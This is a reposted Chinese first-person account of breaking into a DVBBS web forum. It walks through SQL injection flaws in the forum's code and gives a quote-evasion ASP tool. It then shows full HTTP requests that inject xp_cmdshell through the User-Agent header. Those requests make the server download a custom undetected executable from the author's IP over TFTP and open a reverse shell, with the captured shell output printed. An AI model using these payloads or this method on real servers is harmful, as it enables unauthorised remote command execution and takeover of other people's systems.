黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

DVBBS漏洞及入侵一则

2004-9-29 20:05| 投稿: security


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: Hacking/Cracking的道路总是艰辛的……   常常看到的文章是写某人多么牛逼,一路视各种障碍如草芥,势如破竹的攻破某台服务器,我一直怀疑这是小说的手法,因为我在做的时候...
Hacking/Cracking的道路总是艰辛的……   常常看到的文章是写某人多么牛逼,一路视各种障碍如草芥,势如破竹的攻破某台服务器,我一直怀疑这是小说的手法,因为我在做的时候总是磕磕碰碰,简单问题都会弄很久,这不,比如对bbs.xxxxxxxx.com的攻击就是。   接到这个任务是什么时候我都忘了,反正有一天南阳岩冰叫我看看他的论坛,我稀里糊涂的就答应下来,但是隔了好多天才想到要去看看。那天过去一看,哈哈,很眼熟的论坛嘛,就是叫什么名字我忘了,厚着脸皮在QQ上问了一下,才知道是大名鼎鼎的动网论坛,呵呵,怪不得满地都是。   然后我到网上去找动网论坛的漏洞文章,找到后我又突然懒得去看了,就算有人家也补上了吧,看了也白搭,不如省下点时间作毕设。   又过了几天,论文实在是写不下去,于是去网上下了一个动网的最新版的论坛来看代码,看啊看的就睡着了……   醒过来的时候,口水把键盘都弄湿掉了,管理员说宿舍要消毒,又叫我们快走,匆匆忙忙的只好拷到优盘带到学校朋友的机器上去看。在学校折腾了一个多小时,终于眼睛一亮,bbseven.asp中有这么一段: if request("act")="删除" then if request.form("lid")="" then founderr=true Errmsg=Errmsg+" "+" 请指定相关事件。" else lid=replace(request.Form("lid"),""","") end if end if if founderr then exit sub if request("act")="删除" then conn.execute("delete from log where l_id in ("&lid&")")   当时我的心律就到了120,我不知道lid是xxxx);drop table admin;--时是怎样,上面那个replace是不是太轻率?马上我就想到可以给自己的论文里面加500字以上了(刚好我的论文也有关于SQL Injection的部分),于是我就在论文里面添了一段SQL Injection Without Quotation Mark,并在接下来的两天内好好的研究了一下。嗯,结果做了一个小的.asp,贴出来看看啊,反正大概的意思就是比如"AB"完全可以用char(65)+char(66)表示,大家有意见发到n.e.v.e.r@tom.com给我好了。 ======================= Cut Here ======================= 填上SQL语句! " method="POST"> LINK_CHAR = "+" "字符串连接符号是+吗? strIn=Request("in") strIn = strIn & "--" strTemp = split(strIn,""") i = 0 "On Error Resume Next Do while NOT IsNull(strTemp(i))  If InStr(strTemp(i),"--") Then   Exit Do  End if  i = i + 2 Loop "response.write i For j = 0 To i - 1 Step 2  strOut = strOut & strTemp(j)  For k = 0 To len(strTemp(j+1))-1   strOut = strOut & "char(" & asc(left(right(strTemp(j+1),len(strTemp(j+1))-k),1))&")" & LINK_CHAR  Next  strOut = left(strOut, len(strOut)-len(LINK_CHAR)) Next If InStr(strTemp(i), "--")0 Then  strOut = strOut & left(strTemp(i), InStr(strTemp(i), "--") - 1) End if response.write strOut %>======================= Cut Here =======================   我不知道我找的这个地方是不是确实是漏洞,因为没有办法去测试,我总不能去求南阳岩冰给我一个管理员权限来删日志吧,那还不如直接要计算机的账号好了。总之就是磨蹭了这么久,只给我的论文加了633个字而已。   还是不甘心,于是又继续作论文,做到再一次做不下去时,又来看代码。   呵呵,又给我找到有问题的地方了,char.asp中有这么一段话: sql="ShowHOT_COM_inst_online_char 2,"&statuserid&",""&membername&"",""&memberclass&"",""&Request.ServerVariables("REMOTE_HOST")&"","&boardid&",""&Request.ServerVariables("HTTP_USER_AGENT")&"",""&replace(stats,""","")&"",""&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"","&UserGroupID&",""&actCome&"","&userhidden&","&userid&""   Request.ServerVariables("HTTP_USER_AGENT")之类的是用户浏览器提交的,不见得老老实实的就是IE啊什么。动网的那些人该不是把这个留作后门的吧?   我用F3搜索包含这段后门代码的函数activeonline(),找到了很多,我选了一个boardhelp.asp来测试。为了调试方便,我改了一下char.asp,添加了一些输出,当然,是inc目录下面的char.asp,另外的char.asp都是骗人的。   测试成功后我马上拨号上网(测试成功已经是好几个小时后的事情了),告诉南阳岩冰有问题然后建了一张表,留言后就下网了。   等了两天都没有反应,我想还是进去看看吧,我就再次拨号上网,这次不是建表这么简单了,我要得到最高权限才罢休。我设计好了一整套方案,先修改管理员的密码,再登陆上传文件,得到shell后提升权限,哈哈,是不是很完美啊?   我觉得人要乐观一点,于是我想先试试MSSQL存储过程能不能调用,下面是简单的过程,简直是异乎寻常的顺利啊。嗯,十八岁以下的小朋友就不要看了,免得犯罪。   NC到bbs.xxxxxxxx.com的80口,提交如下的请求 GET /boardhelp.asp HTTP/1.1 Accept: */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: 1","1","1",2,"c",1);exec master.dbo.xp_cmdshell "tftp -i 61.155.251.70 get rc.exe";-- Host: bbs.xxxxxxxx.com Connection: Keep-Alive Cookie: iscookies=0; ASPSESSIONIDGGQGQTDQ=IILFJNDALPMLEMDLCKKFFMJG   我开了TFTP服务的,我想成功的话它会从我的机器上下载一个rc.exe,这是我写的一个小东西,不会被查杀的。然后我断线再拨(因为如果BBS在Online表中查到了你的IP的话,就不会执行到有问题的那一句了),在本机监听1102端口,再次连接到bbs.xxxxxxxx.com,提交 GET /boardhelp.asp HTTP/1.1 Accept: */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: 1","1","1",2,"c",1);exec master.dbo.xp_cmdshell "rc.exe 61.155.250.193 1102";-- Host: bbs.xxxxxxxx.com Connection: Keep-Alive Cookie: iscookies=0; ASPSESSIONIDGGQGQTDQ=IILFJNDALPMLEMDLCKKFFMJG   NC开始反应了,呵呵 D:\hack>nc -l -p 1102 The shell is now! Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. C:\WINNT\system32>ipconfig /all ipconfig /all Windows 2000 IP Configuration     Host Name . . . . . . . . . . . . : dns     Primary DNS Suffix . . . . . . . :     Node Type . . . . . . . . . . . . : Broadcast     IP Routing Enabled. . . . . . . . : No     WINS Proxy Enabled. . . . . . . . : No Ethernet adapter 本地连接:     Connection-specific DNS Suffix . :     Description . . . . . . . . . . . : HP 10/100TX PCI Ethernet Driver     Physical Address. . . . . . . . . : 00-30-6E-36-57-AA     DHCP Enabled. . . . . . . . . . . : No     IP Address. . . . . . . . . . . . : ★.★.★.★     Subnet Mask . . . . . . . . . . . : ★.★.★.★     Default Gateway . . . . . . . . . : ★.★.★.★     DNS Servers . . . . . . . . . . . : ★.★.★.★                       ★.★.★.★   哇哈哈哈……我刚要进一步动作,结果突然上网卡没钱断掉了,看来我天生命就不该做坏事,shit!   嗯,到这里基本上是顺利的攻破了吧。其实实际的情况是很惨不忍睹的,我前后拨号上网十几次,中间断线,打错字符,还有之前的安装MSSQL失败,IIS出问题,断电,看错代码空高兴十几秒钟等等等等。不过写的时候还是只把主要的过程写出来,要是要去写整个过程的话,估计一篇长篇叙事小说就会诞生了。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部